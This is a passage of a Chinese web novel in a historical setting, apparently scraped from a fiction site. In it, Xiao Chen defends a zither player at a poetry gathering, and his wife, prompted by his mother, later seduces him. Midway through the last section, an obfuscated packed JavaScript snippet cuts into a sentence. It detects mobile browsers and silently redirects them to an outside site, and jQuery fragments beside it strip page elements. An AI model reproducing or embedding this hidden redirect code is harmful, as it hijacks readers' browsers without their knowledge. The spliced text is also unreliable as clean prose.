肖晨听到这刺耳的言论和激昂的琴音,心中的厌恶愈发浓烈。他紧握着拳头,对林羽低声说道:“林兄,我实在是一刻都不想在这里多呆了,这般低俗之人,竟还能堂而皇之地出现在所谓的诗会之上!” 林羽焦急地扯了扯肖晨的衣袖,小声劝道:“再等一会,肖兄。你瞧瞧,门口都有人守着,咱们现在贸然出去,怕是会惹出麻烦。”肖晨满脸不情愿,却又无可奈何,只得继续坐在原地,心中烦闷如潮水般翻涌。 那公子哥见无人回应他方才的混账话,不但没有收敛,反而更加肆无忌惮起来,提高音量继续说道:“人不风流枉少年啊!兄弟们,今个好不容易出来,就该洒脱一些,放浪形骸才对!回了家,被那些女人管着,可就没这逍遥自在的待遇喽!” 他这一番煽动性的话语,竟让在场一些好色之徒觉得颇有些道理。这些人平日里还佯装着一副读书人的模样,此刻却全然不顾斯文,纷纷附和起来,一时间,船舱内充斥着阵阵低俗的哄笑。 他们或是大声叫好,或是与旁人高谈阔论着如何在这声色场所尽情享乐,完全忘了这场聚会本应以诗会友的初衷。整个场面愈发混乱不堪,空气中弥漫着 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周围众人见状,大多只是冷眼旁观,少数几个有心阻拦的,却又忌惮公子哥的身份,犹豫着不敢上前。就在这千钧一发之际,肖晨再也看不下去,“噌”地一下站起身来,快步走向前,一把抓住公子哥的手腕,怒声呵斥道:“光天化日之下,朗朗乾坤,你竟如此无礼!人家姑娘已经说得很清楚,你莫要再纠缠!” 那公子哥被肖晨抓住手腕,先是一愣,随即恼羞成怒,转头瞪着肖晨,骂道:“哪来的一根葱,这么不识趣!你也不打听打听,在这儿,就是寻开心的地方!莫非你也看上了这个女人,想跟本公子抢?” 肖晨眉头紧皱,目光如炬地盯着公子哥,义正言辞地说道:“我只是看不惯你这般仗势欺人、轻薄女子的行径!这里即便号称是玩乐之地,也不该容你如此胡作非为,肆意践踏他人尊严。” 公子哥冷笑一声,用力甩开肖晨的手,整理了一下衣袖,挑衅道:“哟呵,还说得头头是道,装什么正人君子。在这船上的,哪个不是来寻欢作乐的,就你清高?” 说罢,他环顾四周,想寻求其他人的支持。 周围一些人或是尴尬地别过头,或是附和着公子哥发出几声哄笑,但也有少数人露出些许赞同肖晨的神色,只是敢怒不敢言。那弹琴的女子微微动容,眼中对肖晨流露出一丝感激。 林羽见势不妙,赶忙跑过来,打圆场道:“误会,都是误会!两位公子,今日难得相聚,何必为了这点小事伤了和气。” 说罢,他暗中扯了扯肖晨的衣角,示意他稍安勿躁。 那公子哥依旧不依不饶,涨红着脸叫嚷道:“今个我是非要这个女人不可!怎么着,有本事咱们就比比谁的钱多!” 肖晨心里清楚,若真在这上头纠缠,比拼钱财大手大脚地花销,实在不妥。但他性子刚直,还是硬气回应:“那点钱,我还不屑一顾!” 公子哥斜睨着肖晨,满脸挑衅:“哼,口气倒是不小!你到底姓什么?” 肖晨昂首挺胸,大声答道:“肖!” 一听这个姓氏,公子哥瞬间脸色大变,酒意也醒了几分,脸上的嚣张气焰顿时消散,取而代之的是满脸赔笑,点头哈腰地说道:“原来是肖公子啊,真是大水冲了龙王庙,一家人不识一家人,我刚刚多有得罪,您可千万别跟我计较啊!我家里的生意,平日里可全仰仗令尊照看呢。” 肖晨冷哼一声,看着眼前这副嘴脸瞬间转变的公子哥,心中满是鄙夷:“既然知道,就收起你这副轻薄做派。” 公子哥忙不迭地点头,“是是是,肖公子教训得是。刚刚我喝多了,一时糊涂,冒犯了您和这位姑娘,实在对不住。”说罢,他转头看向那弹琴的女子,也赶忙赔罪:“姑娘,刚刚是我不对,还望您大人不记小人过,别往心里去。” 弹琴女子微微点头,轻声说道:“但愿公子日后能谨言慎行。” 林羽在一旁见气氛有所缓和,笑着说道:“好了好了,既然误会都解开了,那大家就都消消气。今日这场诗会,本就是为了结交朋友,可别因为这点事儿坏了兴致。” 肖晨看向那女子,目光温和地说道:“刚才你弹的琴,有种说不出的感觉,仿佛有股力量,能让人的心情随着旋律起伏变化。我方才听着,觉得你弹奏时,似是在发泄自己的不满。” 女子听闻,眼中闪过一丝惊讶与欣喜,不禁问道:“公子,你怎么能听懂我的琴?”她微微仰头,凝视着肖晨,眼神中满是好奇与探究,仿佛在眼前之人身上发现了难得的知音。 肖晨微微一笑,坦然说道:“其实也并非什么难事。琴音如心声,你心中有情绪,自然会在指法、节奏中流露出来。那激昂的旋律,还有用力拨动琴弦的声响,都像是在诉说着你的愤懑。” 女子轻轻点头,眼中泛起一丝感动:“公子所言极是。方才那登徒子言语粗俗,实在令人气愤,我只能借琴音一抒心中不快。没想到公子竟能听出其中深意,实乃知音。”说罢,她微微福身,向肖晨表达敬意。 周围人见状,纷纷投来异样的目光,有惊讶于肖晨能懂琴音的,也有对这突如其来的知音之遇感到好奇的。那公子哥站在一旁,脸上一阵红一阵白,心中虽有不甘,但忌惮肖晨的身份,也只能默不作声。 肖晨微笑着解释道:“我平日里就喜欢听音乐,没事也会琢磨一二,所以对这些略知一二罢了。”女子听闻,眼中的欣赏之意更浓,轻声说道:“可否请公子借一步说话?”肖晨心中满是好奇,不知女子有何事相商,便跟着她一步步走去。 女子将肖晨带到一处布置典雅的闺房。闺房之中,锦幔低垂,窗前摆放着一张精致的琴桌,上面搁着一把古琴,琴身纹理细腻,泛着柔和光泽。墙壁上挂着几幅字画,皆是淡雅山水,散发出一股清幽的气息。 待肖晨进入,女子轻轻关上房门,转过身来,神情略显羞涩又带着几分郑重。她说道:“公子,方才多谢您仗义相助。小女子久居这声色场所,虽卖艺不卖身,却也常遭轻薄。今日得公子解围,心中感激不尽。” 肖晨赶忙摆手道:“姑娘不必客气,路见不平,自当出手相助,换做旁人,我也不会坐视不理。” 女子微微颔首,接着说道:“公子懂琴,实乃难得。小女子平日里也以琴为伴,今日有缘遇到知音,想与公子再深入探讨琴艺,不知公子意下如何?” 肖晨略带歉意地笑了笑,坦言道:“实不相瞒,我虽对音乐喜爱有加,可仅仅停留在听的层面,并不会弹奏。倘若姑娘不嫌弃,往后你若想弹奏,我乐意随时做你的听众。” 女子眼中闪过一丝意外,随即笑意盈盈,说道:“公子能懂琴音,已实属难得。这世间,能真正听懂琴中之意的人少之又少。即便公子不会弹奏,能有您这样的知音倾听,也是我的荣幸。” 说着,她移步到琴桌前,轻轻坐下,玉指轻抚琴弦,发出一阵悦耳的试音。“那小女子便献丑了,还望公子莫要见笑。”言罢,她微微闭目,沉浸其中,开始弹奏起来。 悠扬的琴音在闺房中缓缓流淌,时而如潺潺溪流,轻快婉转;时而似林间清风,缥缈空灵。肖晨静静聆听,仿佛置身于一片宁静的山林之中,身心皆被这美妙的琴音所洗涤。一曲终了,他由衷赞叹:“姑娘琴艺精湛,此曲宛如天籁,让人心醉神迷。” 女子睁开双眸,脸上泛起一抹红晕,轻声说道:“多谢公子夸赞。能得公子这般欣赏,小女子倍感欣慰。” 两人就这样,一个弹奏,一个倾听,在这小小的闺房中,沉浸在音乐带来的美好氛围里,暂时忘却了外界的喧嚣与纷扰。 23. 穿着特殊衣服暗示他 不知过了多久,女子的琴音缓缓停下,余音仍在闺房内袅袅盘旋。肖晨一脸真诚地看向女子,赞叹道:“你弹奏得实在是太好了,每一个音符都仿佛有灵魂一般,直抵人心。” 女子微微垂眸,眼神中闪过一丝复杂的情绪,轻声问道:“公子可知道我为什么弹琴吗?” 肖晨微微一怔,思索片刻后,温和地说道:“我想,于你而言,琴不仅是一门技艺,更是你表达内心的媒介吧。就像今日,心中有不满,便借琴音宣泄;而方才,想必是心中有诸多美好思绪,才弹奏出如此动人之曲。” 女子听闻,眼中泛起些许泪光,轻轻点头道:“公子所言极是。我出身贫寒,为谋生计来到这声色之地卖艺。虽周围多是些不懂琴音之人,但我仍不舍这琴。唯有在抚琴之时,我才能暂忘世间烦恼,寻得内心安宁。” 她顿了顿,抬眸凝视着肖晨,似是鼓起勇气般说道:“今日与公子相遇,听闻公子对琴音的见解,我仿若寻到了真正的知音。不知公子往后,还能否常来听我弹琴?” 肖晨微笑着点头,欣然说道:“当然可以啊,能与姑娘以琴会友,实乃人生一大雅兴。” 女子微微红了脸,眼中闪过一丝犹豫,而后试探着问道:“公子若是经常出来,家里的夫人和妾室会不会因此找麻烦呢?” 肖晨爽朗一笑,坦然回应:“我并没有什么妾室,家中只有一位妻子。她性情温婉,知书达理,若知晓我能结识像姑娘这般琴艺高超的友人,以琴为乐,想必也会理解的。” 女子听闻,心中暗暗松了口气,面上浮现出一抹真心的笑意:“如此便好。能与公子这般纯粹之人结交,实是小女子之幸。往后若公子有空,小女子随时在此以琴相迎。” 肖晨看着女子真诚的模样,也笑道:“好,一言为定。待我下次再来,说不定还能带上几首新得的琴谱,与姑娘一同品鉴。” 肖晨这才恍然,笑着说道:“瞧我,聊了这么久,还没请教姑娘芳名,我叫肖晨。”女子微微福身,轻声回应:“小女子叫丁香。” 肖晨点头,目光温和:“丁香姑娘,今日与你交谈甚欢,听闻妙曲,实在难忘。那我们改日再相聚。”丁香眼中满是期许,柔声道:“好,期待与公子再次相见,公子慢走。” 肖晨转身,轻轻推开房门,又回头与丁香示意,才迈步离去。丁香望着他远去的背影,嘴角不自觉上扬。 丁香待肖晨离去后,轻轻走到妆台前,从一个精致的锦盒里缓缓拿出那支求来许久的姻缘签。她目光温柔又带着几分忐忑地凝视着签文,上面赫然写着让她寻找有缘人。 她的思绪不禁飘回到与肖晨相处的点点滴滴,从他挺身而出为自己解围,到两人对琴音的惺惺相惜,每一幕都如此清晰。莫非,那个命中注定的有缘人就是他?丁香心中泛起一阵涟漪。 可很快,她的眼神又黯淡下来。她清楚地记得,肖晨说自己已有家世,家中有一位温婉的妻子。即便他们之间有着对琴艺共同的热爱,有着难得的默契,这份缘分似乎也只能止步于此。 丁香轻轻叹了口气,将姻缘签重新放回锦盒,走到窗前,望着窗外熙攘的街道,心中五味杂陈。她明白,有些人,即便有缘相遇相知,却也可能因为现实的种种而无法相伴。但她依然会将这份美好的相遇,深藏在心底,就如同珍藏着这一支姻缘签一般。 肖晨走出船舱,外面清新的空气扑面而来,让他顿时觉得神清气爽,仿佛刚刚在舱内的不愉快都被一扫而空。 林羽早已在外面等候,见肖晨出来,立刻凑上前,脸上带着几分好奇,低声问道:“那女子跟你去做了什么?不会是有什么艳遇吧?” 肖晨白了林羽一眼,没好气地说道:“别瞎想,我们只是以琴会友罢了,并没有做什么。那姑娘琴艺高超,我不过是与她交流了些对琴音的见解。” 林羽挑了挑眉,似笑非笑地说:“哦?以琴会友?这理由倒是新鲜。不过看你一本正经的样子,似乎还真是这么回事。” 肖晨无奈地摇了摇头:“你就别打趣我了。这场所谓的诗会实在是让人大失所望,还好能结识丁香姑娘这样纯粹爱琴之人,也算不虚此行。” 林羽拍了拍肖晨的肩膀,笑道:“好好好,算我错怪你了。既然如此,咱们也别在这多呆了,赶紧回去吧,别让嫂夫人等急了。” 两人一边说着,一边沿着河岸缓缓离去,身后那艘原本热闹非凡的画舫,渐渐被夜色笼罩。 两人一路漫步,很快便来到了客栈。刚踏入客栈大堂,就瞧见玉溪和李傲雪正坐在一旁等候,脸上隐隐透着几分焦急。 李傲雪一看到肖晨,赶忙起身迎了上去,关切地问道:“少爷,诗会上可还顺利?” 还没等肖晨开口,林羽就笑嘻嘻地抢先说道:“那当然了,嫂夫人。肖兄在诗会上那可是大出风头,在场众人无不钦佩他的才华。”说着,林羽还朝肖晨挤了挤眼睛,神色间满是调侃。 肖晨微微皱眉,轻轻瞪了林羽一眼,随后转头看向李傲雪,温和地说道:“傲雪,别听林兄胡言。诗会……有些出乎我意料,但也结识了些有趣的人,还算有所收获。” 李傲雪微微点头,眼中满是信赖:“少爷觉得有收获便好。我和玉溪在这等了许久,还担心你们出了什么事。” 玉溪也在一旁附和道:“是啊是啊,可算把少爷和林公子盼回来了。” 林羽笑着摆摆手:“让嫂夫人和玉溪姑娘担心了,是我们的不是。这诗会结束后又耽搁了些时间,下次一定注意。” 肖晨看向李傲雪,歉意地说道:“傲雪,今日让你久等,实在抱歉。” 李傲雪温柔一笑:“无妨,少爷平安回来便好。” 肖晨奔波出来这么久,着实感到疲惫不堪,他揉了揉太阳穴,对玉溪和李傲雪说道:“你们安排几间房吧,我们上去休息,折腾这一晚,实在乏了。明天一早便启程回去。” 李傲雪连忙点头,关切地看向肖晨,说道:“少爷一路辛苦,我这就去安排。玉溪,你去跟掌柜的说一声,要两间上房。” 玉溪应了一声,快步走向掌柜。不一会儿,她回来告知一切安排妥当。 林羽伸了个懒腰,笑着说:“那行,肖兄,嫂夫人,咱们明早见。今晚可得睡个好觉。” 肖晨微微颔首,与林羽互道晚安后,便和李傲雪一同往房间走去。踏入房间,肖晨顿感一阵温暖与安心。他走到床边,坐下稍作休息,李傲雪贴心地打来一盆热水,递上毛巾,轻声说道:“少爷,先擦擦脸,洗漱完好好睡一觉。” 肖晨接过毛巾,擦拭着脸,对李傲雪的体贴关怀满心感激。洗漱过后,他躺到床上,很快便进入了梦乡,为这充实又疲惫的一天画上了句号。 肖晨轻轻拥着李傲雪,像是寻到了世间最安稳的依靠。在外奔波的疲惫与纷扰,此刻在她的身旁都渐渐消散。 他将身子又往李傲雪那边凑了凑,手臂下意识地收紧,仿佛只有这样,才能驱散心底那一丝在外的不踏实感。李傲雪似乎察觉到了他的动作,微微侧头,温柔地笑了笑,往他怀里蹭了蹭,轻声呢喃:“少爷,安心睡吧,我在呢。” 肖晨低低应了一声,感受着李傲雪身上传来的温度,紧绷的神经慢慢松弛下来。在这陌生客栈的夜晚,有她在怀,仿佛一切都变得宁静而祥和,不多时,他便带着安心的笑意,沉沉睡去。 夜,静谧无声,只有窗外偶尔传来几声虫鸣。肖晨在睡梦中微微皱了下眉,似乎梦到了诗会上那些不堪的场景,手臂下意识又紧了紧,像是生怕李傲雪会消失一般。 李傲雪被他的动作微微弄醒,朦胧中感觉到肖晨的不安,她轻轻抬手,温柔地抚了抚肖晨的额头,顺着他的发梢轻轻梳理,口中喃喃着一些安慰的话语,声音轻柔得如同微风拂过湖面。在她的安抚下,肖晨的眉头渐渐舒展,呼吸也再次变得平稳。 不知过了多久,窗外透进一丝微光,晨曦悄然降临。肖晨悠悠转醒,映入眼帘的便是李傲雪恬静的睡颜。他凝视着她,心中满是温暖与感激,庆幸自己身边能有这样一位体贴温柔的女子相伴。 他轻轻起身,生怕吵醒李傲雪,简单洗漱过后,便走到窗边,推开窗户。清新的空气扑面而来,让他神清气爽。回想起昨夜在诗会上的种种,他不禁感慨,还好有李傲雪在,无论外面的世界多么喧嚣复杂,只要回到她身边,就能找到内心的宁静。 这时,身后传来轻微的动静,李傲雪醒了。她揉了揉眼睛,看到站在窗边的肖晨,微笑着问道:“少爷,你醒啦?”肖晨转身,走到床边坐下,握住李傲雪的手,说道:“嗯,醒了一会儿了。你再睡会儿吧,还早。”李傲雪摇了摇头,起身说道:“不了,我也起来吧,咱们不是说好了今天一早回去吗?我去收拾一下行李。” 两人迅速收拾好行囊,下楼与林羽会合。林羽看到他们,打趣道:“哟,肖兄嫂夫人,昨晚休息得可好?”肖晨瞪了他一眼,说道:“就你贫嘴。时辰不早了,咱们赶紧启程吧。” 一行四人踏上归程,清晨的阳光洒在他们身上,仿佛在为他们驱散昨日的不愉快。一路上,肖晨和李傲雪并肩而行,偶尔轻声交谈几句,林羽则在一旁时不时插上几句话,逗得众人发笑。玉溪跟在后面,看着前面三人相处融洽,脸上也洋溢着开心的笑容。 抵达城中,林羽与肖晨等人相互道别后,各自散去。肖晨领着玉溪和李傲雪,缓缓朝着肖家走去。一路上,肖晨脚步略显沉重,奔波一夜加上精神上的疲惫,让他整个人都有些萎靡不振。 踏入肖家大门,熟悉的景象映入眼帘,那股家的归属感稍稍缓解了他的疲惫。然而,他猛地想起今日还有读书的课业,无奈地轻叹了口气,强打起精神,转身朝着书房的方向走去。 李傲雪看着他疲惫的背影,心中满是心疼,忍不住说道:“少爷,你都这么累了,要不今日就向夫子告个假,休息一日吧?” 肖晨回头,朝她露出一个安抚的微笑:“无妨,读书不可懈怠,我去去便回。你和玉溪也累了,回房好好休息。”说罢,便毅然转身,继续前行。 当他踏入书房时,夫子已经在那里等候。夫子见他面色疲倦,微微皱眉,关切地问道:“肖晨,你脸色不佳,可是身体不适?” 肖晨赶忙行礼,恭敬地回答:“夫子,学生并无大碍,只是昨夜休息得少了些,不碍事的,还请夫子授课。” 夫子点了点头,虽对肖晨的坚持表示赞许,但也不免叮嘱道:“求学固然重要,但也要注意身体,切不可过度劳累。”随后,夫子展开书卷,开始授课。 肖晨努力集中精力,试图跟上夫子的讲解,然而,疲惫还是如潮水般不时袭来。他暗暗掐了自己几下,强撑着精神,手中的笔在纸上划过,记录着夫子讲授的要点。 肖母一宿没见儿子儿媳回来,正满心担忧。这时,丫鬟匆匆走进来禀报道:“夫人,少爷和少夫人回来了。”肖母这才松了口气,赶忙吩咐道:“你去把少夫人叫过来,我有话问她。” 不多时,李傲雪来到肖母房中,规规矩矩地行了个礼,轻声说道:“母亲,儿媳给您请安。”肖母打量着李傲雪,见她神色间透着几分疲惫,不禁问道:“昨天你们去哪了?一晚上都不见人影。” 李傲雪微微低下头,如实答道:“母亲,我们去逛灯会了,不知不觉就回来晚了。” 肖母点了点头,又凑近李傲雪,脸上带着几分关切与期待,低声问道:“近期你们同房没?”李傲雪的脸“唰”地一下红到了耳根,羞涩地摇了摇头,轻声说道:“没……还没有,母亲。” 肖母听闻,眼中闪过一丝失望,但还是拍了拍李傲雪的手,语重心长地说道:“傲雪啊,你和晨儿成婚也有段时日了,这子嗣之事可得抓紧些。咱们肖家就盼着你们能早日开枝散叶呢。你也知道,这延续香火可是大事,你平日里多上点心。” 李傲雪羞得头更低了,小声应道:“儿媳明白,母亲教诲,儿媳定当牢记于心。” 肖母见状,笑着安慰道:“好了好了,也别太害羞。我这也是为你们好,为咱们肖家好。你回房休息吧,瞧你累的。” 李傲雪如释重负,再次行礼后,便匆匆退出了房间,心中满是复杂的情绪,既有对肖母催促的羞涩与无奈,又深知自己在肖家所肩负的责任。 肖母看着李傲雪离去的背影,转头对身旁的丫鬟说道:“你把这几件衣服送到少夫人房里去,就说是我特意给她准备的,让她晚上试试。”丫鬟应了一声,便拿着衣服匆匆去往李傲雪的房间。 李傲雪刚回到房中坐下,正想着肖母方才的话,有些怔神。这时,丫鬟敲门进来,笑着说道:“少夫人,这是老夫人让我给您送来的衣服,说是她的一番心意,让您晚上试试。”李傲雪疑惑地接过,道谢后,待丫鬟离开,才打开包裹。 当她看到里面竟是几件颇为暴露的睡衣时,不禁瞪大了眼睛,脸颊瞬间涨得通红。睡衣的款式极为大胆,轻薄的布料,低胸的设计,还有那若隐若现的蕾丝花边,与她平日里的穿着风格大相径庭。她怎么也没想到肖母会送这样的衣服过来,一时间,心中满是窘迫与不知所措。拿着衣服的手微微颤抖,既觉得尴尬万分,又隐隐明白肖母此举的用意,可这实在让她难以接受。 犹豫再三,她决定还是先将衣服收好,思索着该如何委婉地跟肖母提及此事,又不至于让老人家难堪。毕竟肖母也是为了肖家的子嗣着想,只是这样的方式实在太过唐突。李傲雪轻叹了口气,坐在床边,陷入了沉思。 到了中午饭点,李傲雪收拾好心情,陪着肖母一同坐在餐桌前。桌上摆满了精致的菜肴,可李傲雪心里还惦记着那几件暴露睡衣的事,有些心不在焉。 肖母看在眼里,夹了一筷子李傲雪爱吃的菜放到她碗里,笑着问:“傲雪,衣服你都收到了吧?”李傲雪手中的筷子微微一颤,脸上泛起一抹红晕,犹豫了一下,轻声答道:“收到了,母亲,只是……”她抬起头,小心翼翼地观察着肖母的神色,不知该如何措辞。 肖母仿佛没察觉到她的为难,兴致勃勃地说道:“我特意让人准备的,款式新颖着呢。你晚上穿上试试,晨儿肯定喜欢。你们小夫妻呀,也该增进增进感情,早日给咱们肖家添个大胖孙子。” 李傲雪的脸更红了,嗫嚅着说道:“母亲,这衣服……实在是太……太特别了,儿媳平日里没穿过这样的,恐怕……恐怕不太习惯。”肖母微微一愣,随即明白了李傲雪的意思,不禁笑出声来:“傻孩子,这有什么不习惯的。夫妻之间嘛,就得有点情趣。你呀,别太害羞,听娘的准没错。” 李傲雪无奈地笑了笑,轻轻点头,却依旧觉得十分难为情。肖母见她这样,也不再多说,只是叮嘱道:“总之,你晚上试试,要是实在不喜欢,再说。快吃饭,菜都要凉了。”李傲雪应了一声,默默吃着饭,心里却还在纠结该怎么应对这尴尬的状况。 二人用完餐,丫鬟们迅速上前将餐具收拾妥当。肖母趁着四下无人,从袖中掏出一本装帧精致却透着几分隐秘气息的书,递到李傲雪手中。李傲雪低头一看,赫然写着“房中术”三个字,顿时面红耳赤,想要推脱。 肖母却握住她的手,语重心长道:“傲雪啊,娘知道你脸皮薄,可这子嗣大事耽误不得。娘把方法都给你了,你务必按照上面的去做。明儿个我可要知道结果。咱们肖家就盼着抱孙子呢。” 李傲雪满心窘迫,手攥着那本书,只觉烫手无比。她嗫嚅着:“母亲,这……这实在太……”肖母打断她:“别推脱了,你和晨儿都是懂事的孩子,娘就指望你们了。快收好了。” 李傲雪无奈,只得将书藏进袖中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993184|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,匆匆告退。回到房里,她将书放在桌上,仿佛那是个烫手山芋。在房里踱步许久,心中满是纠结。一方面是肖母的殷切期望,另一方面,这对她来说实在是太过羞于启齿的事。可又深知在这深宅大院,子嗣之事关乎家族兴衰,容不得她逃避。不知过了多久,她终于鼓起勇气,瞥向那本“房中术”,脸上的红晕始终未退。 李傲雪在极度的羞涩中,还是缓缓翻开了那本《房中术》。书中的内容让她面红耳赤,一颗心仿佛要跳出嗓子眼。每看一行字,她都觉得自己的脸皮在发烫,可想到肖母的殷切期望以及家族对子嗣的看重,她咬着牙坚持看了下去。 待看完后,她像是做了什么错事一般,慌乱地将书藏到了柜子深处,仿佛这样就能把方才的羞涩一并藏起来。而后,她唤来丫鬟,声音微微发颤地说道:“去……去帮我准备洗澡水。”丫鬟领命而去。 沐浴时,温热的水包裹着她,可她的思绪却仍在方才看过的内容上徘徊。洗完澡后,她精心地梳理了头发,对着镜子,看着镜中面色绯红的自己,深吸了几口气,试图让自己镇定下来。 晚上,她在房里简单用过晚饭,饭菜的味道她几乎毫无察觉。待丫鬟撤下碗筷后,她缓缓走到衣柜前,拿出了肖母送来的那套暴露睡衣。手指触碰到睡衣的那一刻,她的手忍不住颤抖了一下。 在一番内心挣扎后,她还是红着脸换上了睡衣。睡衣轻薄的布料贴在肌肤上,让她浑身不自在。她忐忑地走到床边,拉过被子,半躺半坐地倚在床头,心脏“砰砰”直跳,眼睛时不时看向门口,既期待又害怕肖晨回来,不知等会儿要如何面对他。 肖晨用过晚饭,习惯性地想找李傲雪聊聊,却不见她的身影,便随口问一旁的丫鬟。丫鬟恭敬答道:“少夫人今天很累,已经在休息了。”肖晨听闻,心想或许是昨天在外面玩得太尽兴,奔波劳累所致,便没再多想。 晚饭后,他如往常一样来到房里。刚踏入房门,屋内柔和的灯光映入眼帘,他一眼便瞧见躺在床上的李傲雪。只见她半掩在被子里,露出的肌肤在灯光下透着细腻的光泽,身着的睡衣款式颇为大胆,让肖晨微微一怔。 肖晨走到床边,关切地问道:“会不会很冷?”李傲雪此时紧张到了极点,一颗心仿佛要跳出嗓子眼,她紧闭双眼,脸颊滚烫,根本不敢开口说话,只是轻微地摇了摇头。 肖晨见她如此反应,心中有些疑惑,但也没再多问。他以为李傲雪是太累了,便轻手轻脚地走到另一边,准备上床休息。这一晚,李傲雪躺在床上,思绪纷乱如麻,一方面是肖母的嘱托和那本《房中术》的内容,让她羞涩又紧张;另一方面,肖晨就在身边,她却不知该如何迈出第一步,内心的纠结与忐忑让她久久难以入眠。 肖晨脱下外衣,轻轻拉过被子,正准备躺下好好休息。就在这时,身旁的李傲雪鼓足了生平最大的勇气,微微颤抖着拉开被子,将自己的身材毫无保留地展现出来。 肖晨一转头,看到眼前的场景,不禁微微一愣,随即眼中闪过一丝惊艳,由衷赞叹道:“你穿着这睡衣很好看,这款式很合适你。”说罢,他眼中满是好奇,问道:“你什么时候定做的?以前怎么没见你穿过?”他单纯地以为这只是李傲雪偶然间挑选的睡衣,完全没想到这背后的深意。 李傲雪此时满脸通红,心跳如雷,羞涩得几乎要将头埋进枕头里。她嗫嚅着,声音小得如同蚊蚋:“我……我也是才拿到……”话未说完,她便紧张得再也说不下去。她深知自己不能再这样退缩,可又实在难以启齿说出肖母的要求,内心在极度的羞涩与紧张中不断挣扎。 肖晨见她这般害羞模样,只觉得可爱,轻轻笑了笑,伸手将她揽入怀中,温柔地说道:“别害羞,你这样很美。今天是不是太累了,看你好像很紧张。”李傲雪依偎在他怀里,感受着他的温暖与关怀,紧张的情绪稍稍缓解了一些,可心中那股难以言说的羞涩依然如影随形。 李傲雪红着脸,鼓起勇气再次问道:“少爷,我……我穿成这样你喜欢吗?”她抬眸偷偷看了肖晨一眼,眼神中满是紧张与期待。 肖晨低头看着她,眼中带着笑意,不假思索地说道:“你穿着很美。这衣物这么好看,还有其他款式吗?你可以多做一些,以后穿着。”在他看来,李傲雪只是偶然间选了件别致的睡衣,单纯觉得妻子这样打扮十分赏心悦目。 李傲雪咬了咬嘴唇,心中又羞又急,她知道不能再这样兜圈子,可话到嘴边却又不知如何开口。犹豫再三,她微微扭动身子,将头埋在肖晨胸前,声音带着几分娇嗔与羞涩:“少爷,母亲……母亲她希望我们……”话说到一半,她实在难以启齿,双手不自觉地抓紧了肖晨的衣角。 肖晨这才微微一愣,似乎察觉到了什么,他抬起李傲雪的下巴,看着她满是娇羞的脸,心中已然明白了几分。他轻轻笑了笑,眼中满是温柔与宠溺,轻声说道:“傲雪,别为难自己。我明白母亲的意思,只是苦了你,要面对这些。”说着,他轻轻在李傲雪额头上落下一吻。 肖晨满脸笑意,眼神中尽是欣赏,继续说道:“但是你这样穿很好看。确实可以多做几件。你明天去找裁缝多备一些。好身材就要显示出来。” 李傲雪听着肖晨的话,红晕从脸颊蔓延到了脖颈,羞怯地将脸埋进肖晨怀里,声音带着些娇憨与无奈:“少爷,你就只知道打趣我。母亲可是盼着咱们……”话未说完,她的身子微微扭动,似是因害羞而不知所措。 肖晨轻抚着她的发丝,安抚道:“好了,我知道母亲的心意。只是见你如此可爱,忍不住想逗逗你。”他目光柔和,饱含深情,抱紧了李傲雪,又道:“不过你放心,我们的日子还长,有些事不必过于着急。但这睡衣,确实很衬你。” 李傲雪抬起头,水汪汪的眼睛看着肖晨,小声嘀咕:“可母亲说,明天要听结果呢。”说完,又不好意思地别过脸。 肖晨轻轻刮了刮她的鼻子,笑着说:“母亲那边,我去说。咱们顺其自然便好,可别让这些事扰了我们相处的情趣。”说着,他将被子往上拉了拉,将两人裹得更紧。 李傲雪眼中满是期待与坚定,看着肖晨轻声说道:“少爷,可是我真的想要个孩子。”在她心里,家族的期望与对新生命的渴望交织在一起,成了一股无法抑制的念头。 肖晨面露为难之色,轻轻叹了口气:“可是我现在没有心思。”近来他为学业和诗会之事奔波,身心俱疲,确实无暇顾及此事。 然而李傲雪心意已决,此刻她顾不了那么多。只见她脸颊泛红,眼神中透着决然,缓缓起身,微微颤抖着俯下身,轻轻压着肖晨,而后闭上眼睛,鼓足勇气将自己的唇贴了上去。这一吻带着她满心的期待与执着,她希望能借此让肖晨感受到自己的决心。 肖晨被她这突如其来的举动弄得有些不知所措,但很快,他感受到李傲雪唇间的温热与颤抖,心中不禁泛起一丝怜惜。在这静谧的夜里,李傲雪的主动打破了两人之间的犹豫与纠结,房间里的气氛也随之悄然改变。 李傲雪见肖晨没有推开自己,仿佛得到了某种鼓励,愈发主动起来。她双手微微颤抖着,急切地拉扯着肖晨的衣服,呼吸也变得急促起来。 肖晨察觉到她的意图,双手下意识地握住她的手腕,面露难色,语气带着几分无奈与挣扎:“不要这样。我不能啊……”此刻他心中有着诸多顾虑,既有对当下状态的考量,也有对这份突如其来亲密的不适应。 可李傲雪已然沉浸在自己的渴望之中,一心只想抓住这个机会。她的眼神中满是炽热,近乎执拗地说道:“少爷,我太想要你了……”她微微仰头,眼中闪着泪光,声音带着一丝哀求,似乎想凭借这份深情与执着,让肖晨改变心意。在她心里,拥有两人爱情的结晶,不只是为了完成家族的期待,更是她内心深处对这份感情最真挚的渴望。 24. 如果我是女子你还爱我吗 肖晨咬着牙,神情纠结,最终在李傲雪的坚持下,缓缓松开了握住她手腕的手,只能任由着她主动起来。 李傲雪见他不再阻拦,动作更加大胆。她双手轻柔却又急切地解开肖晨衣物的系带,呼吸越发紊乱,脸颊因激动和羞涩变得绯红如霞。 肖晨望着眼前神情炽热的李傲雪,心中的防线逐渐崩塌。他的眼神变得迷离,伸出手轻轻环住李傲雪的腰肢,感受着她身体传来的温度与微微的颤抖。 在这一室旖旎之中,两人的气息愈发交融。李傲雪微微颤抖的双手继续动作,随着衣物的滑落,彼此的肌肤相贴,传递着炽热的温度。肖晨从最初的犹疑,也渐渐被李傲雪的热情点燃,他的回应变得热烈而深沉。 窗外,月色如水,透过斑驳的窗棂洒在床榻之上,为这充满爱意的场景蒙上一层朦胧而梦幻的纱。房间里偶尔传来轻微的声响,交织着两人急促的呼吸,仿佛在演奏一曲专属他们的乐章。 